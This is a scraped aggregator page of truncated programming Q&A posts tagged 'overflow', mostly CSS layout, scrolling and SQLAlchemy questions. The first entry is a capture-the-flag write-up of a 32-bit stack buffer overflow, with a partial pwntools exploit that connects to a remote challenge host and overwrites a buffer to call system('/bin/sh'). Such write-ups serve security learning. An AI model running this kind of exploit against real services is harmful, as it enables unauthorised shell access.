overflow

pwn-Stack Overflow

…衆ロ難τιáo~ 提交于 2019-12-01 09:46:38
地址 https://cgctf.nuptsast.com/challenges#Pwn 先观察一下,是一个32位的程序,而且只开了NX保护 用IDA看看伪代码,重点在message和pwnme这两个函数,一个存在溢出,一个可以调用system函数 我们先看看第一个fgets函数,A的大小是40个字符,明显存在了栈溢出,当A超过40个字符可以覆盖掉n的值,让n覆盖成‘/bin/sh‘,刚好弥补了程序中没有直接调用的shell 思路明确,让A溢出,把n的值覆盖成‘/bin/sh’,然后第二次输出的时候,再次溢出,返回地址覆盖成system的入口地址,再让system的参数变成’/bin/sh‘(n的地址) payload2的p32(0xaaaa)是函数的返回地址,随便填 构造exp如下 from pwn import * r=remote('182.254.217.142',10001) e=ELF('./cgpwna') sys_addr=e.symbols["system"] #sys_addr=0x80483f0 r.recvuntil("your choice:") r.sendline("1") r.recvuntil("you can leave some message here:") payload1='a'*40+'/bin/sh' r.sendline

Scroll without a scrollbar

空扰寡人 提交于 2019-12-01 09:34:11
Sample form: <!DOCTYPE html> <html> <head> <title></title> <style type="text/css"> * {font:13px arial; color:white;} body {background:black;} label {display:inline-block; width:50px;} input, textarea {margin:0; border:1px solid red; padding:0; background:green;} textarea {width:300px; height:100px;} </style> </head> <body> <form action="#"> <div><label for="entry_0">Name</label><input type="text" id="entry_0"></div> <div><label for="entry_1">Email</label><input type="text" id="entry_1"></div> <div><label for="entry_2">URL</label><input type="text" id="entry_2"></div> <div id="parent"><textarea

How much is pushed onto a 32-bit stack under Windows x86-64 on an exception?

笑着哭i 提交于 2019-12-01 09:24:25
In this this question , I give some background on a parallel language I have implemented. The compiler generates native x86-32 code. A key implementation decision is to allocate stack space from the heap for every function (call). This allows for recursion until you run out of VM, and enables a cactus stack for lexical scopes even for nested parallel children, etc. The compiler's code generator can compute how much stack space is needed by the function itself; that's messy but straightforward and it already does that well. There's no problem with stack demands from OS calls; my functions don't

Maintain ratio between column in CSS grid. How grid-column is calculated?

点点圈 提交于 2019-12-01 09:13:55
I want my grid to maintain a certain ratio, but a long sentence increases the width of the grid it belongs to. body { display: grid; } main { grid-column: 1 / 8; border: 2px solid black; } aside { grid-column: 8 / 13; border: 2px solid black; } <main> <p>Mauris neque quam, fermentum ut nisl vitae, convallis maximus nisl. Sed mattis nunc id lorem euismod placerat. Vivamus porttitor magna enim, ac accumsan tortor cursus at. Phasellus sed ultricies mi non congue ullam corper. Praesent tincidunt sed tellus ut rutrum. Sed vitae justo condimentum, porta lectus vitae, ultricies congue gravida diam

elevateZoom disable hidden elements

谁都会走 提交于 2019-12-01 09:02:00
问题 I'm using elevateZoom.js for preview image. And I have a problem with hidden elements in slider. How to disable preview overflow-hidden pictures on hover. In thisexample, all works fine, but if you hover mouse at right side from slider, you will see preview of hidden pictures. Is it possible to disable this? The code is: <!--Slider--> <script type="text/javascript"> $(document).ready(function() { $('#next').click(function(event) { event.preventDefault(); $('#long-box').animate({scrollLeft:'+

Tables overflowing with CSS in Firefox

独自空忆成欢 提交于 2019-12-01 07:40:37
问题 I'm having trouble getting my table to behave. The content keeps overflowing and my attempts to restrict it are not producing the desired effect. This is my markup: <div class="repeatingdiv"> <div class="hastitle">Some title</div> <div class="hastable"> <table> <thead><tr><th></th></tr></thead> <tfoot><tr><th></th></tr></tfoot> <tbody> <tr> <td class="col1">Col 1</td> <td class="col2">Col 2</td> <td class="col3">Col 3</td> </tr> </tbody> </table> </div> </div> I then have some style. The td's

css的浮动清除

拜拜、爱过 提交于 2019-12-01 07:01:02
比较常用的有两种方法 overflow 在父元素内使用overflow:hidden属性,来清除子元素浮动 没有使用overflow:hidden时: 蓝色为ul,因为粉色的li浮动了,蓝色ul失去粉色li撑起的高度,因此缩了上去 使用overflow:hidden时: 伪类:after 这是一种更加常用的方法,可以给父元素添加伪类来清除浮动。但这里有更好的方法, 直接定义一个伪类添加给父元素。这里参照了bilibili的clearfix类 这个原理其实是利用了一个空标签使用clear:both来清除浮动。伪类:after最终会加载一个标签在元素内部的最后位置,当然你也可以直接在父类上定义:after伪类。 eq: 补充:起初自己认为这种方法清除浮动不是很必要,因为现在不太用float来进行页面布局, 现在基本使用的是flax属性布局。但考虑到元素进行相对定位或者决对定位之后,若要进行内部布 局任旧会使用到float,因此还得翻出以前的清除浮动的老办法 来源: https://www.cnblogs.com/chujunqiao/p/11665872.html

Overflow:hidden not working as expected in Google Chrome

孤人 提交于 2019-12-01 06:25:46
问题 I'm having a problem with the "overflow: hidden" CSS property. In Firefox, IE8 and Safari 5 when I apply this property to a div that is used for containing ad banners (like adsense leader boards or flash) at the top of my content there is still some overlap happening in Chrome when the window is resized to be small enough that they collide. In Firefox and IE8 it works as expected and everything is completely hidden behind the right sidebar. In Chrome the actual content is hidden but it is

SQLAlchemy操作

随声附和 提交于 2019-12-01 05:46:25
SQLAlchemy 一. 介绍 SQLAlchemy是一个基于Python实现的ORM框架。该框架建立在 DB API之上,使用关系对象映射进行数据库操作,简言之便是:将类和对象转换成SQL,然后使用数据API执行SQL并获取执行结果。 ? 1 pip3 install sqlalchemy 组成部分: Engine,框架的引擎 Connection Pooling ,数据库连接池 Dialect,选择连接数据库的DB API种类 Schema/Types,架构和类型 SQL Exprression Language,SQL表达式语言 SQLAlchemy本身无法操作数据库,其必须以来pymsql等第三方插件,Dialect用于和数据API进行交流,根据配置文件的不同调用不同的数据库API,从而实现对数据库的操作,如: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 MySQL - Python mysql + mysqldb: / / <user>:<password>@<host>[:<port>] / <dbname> pymysql mysql + pymysql: / / <username>:<password>@<host> / <dbname>[?<options>] MySQL - Connector mysql + mysqlconnector

Scroll without a scrollbar

て烟熏妆下的殇ゞ 提交于 2019-12-01 05:27:28
问题 Sample form: <!DOCTYPE html> <html> <head> <title></title> <style type="text/css"> * {font:13px arial; color:white;} body {background:black;} label {display:inline-block; width:50px;} input, textarea {margin:0; border:1px solid red; padding:0; background:green;} textarea {width:300px; height:100px;} </style> </head> <body> <form action="#"> <div><label for="entry_0">Name</label><input type="text" id="entry_0"></div> <div><label for="entry_1">Email</label><input type="text" id="entry_1"></div>